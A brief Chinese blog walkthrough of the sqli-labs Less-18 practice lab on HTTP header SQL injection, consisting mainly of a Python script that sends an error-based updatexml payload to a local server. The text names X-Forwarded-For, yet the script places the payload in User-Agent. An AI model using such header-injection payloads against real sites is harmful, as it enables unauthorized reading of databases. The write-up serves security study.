[sqli-labs]Less-18(HTTP頭注入(X-Forwarded-For) , 報錯注入)

HTTP頭注入
利用XFF頭
這里可以利用的原因是 : 網站將XFF頭信息插入數據庫 , 而這個信息是訪問者可以控制的
同樣利用報錯注入 , 將數據回顯

import requests

url = "http://127.0.0.1/Less-18/"

postDate = {
    'uname':'admin',
    'passwd':'1'
}

headers = {
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding':'gzip, deflate, br',
    'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6',
    'Cache-Control':'max-age=0',
    'Connection':'keep-alive',
    'Content-Type':'application/x-www-form-urlencoded',
    'Host':'127.0.0.1',
    'X-Forwarded-For':'8.8.8.8',
    'Origin':'http://127.0.0.1',
    'Referer':'http://127.0.0.1/Less-18/',
    'Upgrade-Insecure-Requests':'1',
    'User-Agent':'\',updatexml(1,concat(0x5e,version(),0x5e),1),\''
}

content = (requests.post(url, data=postDate, headers=headers).text)
print(content)
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容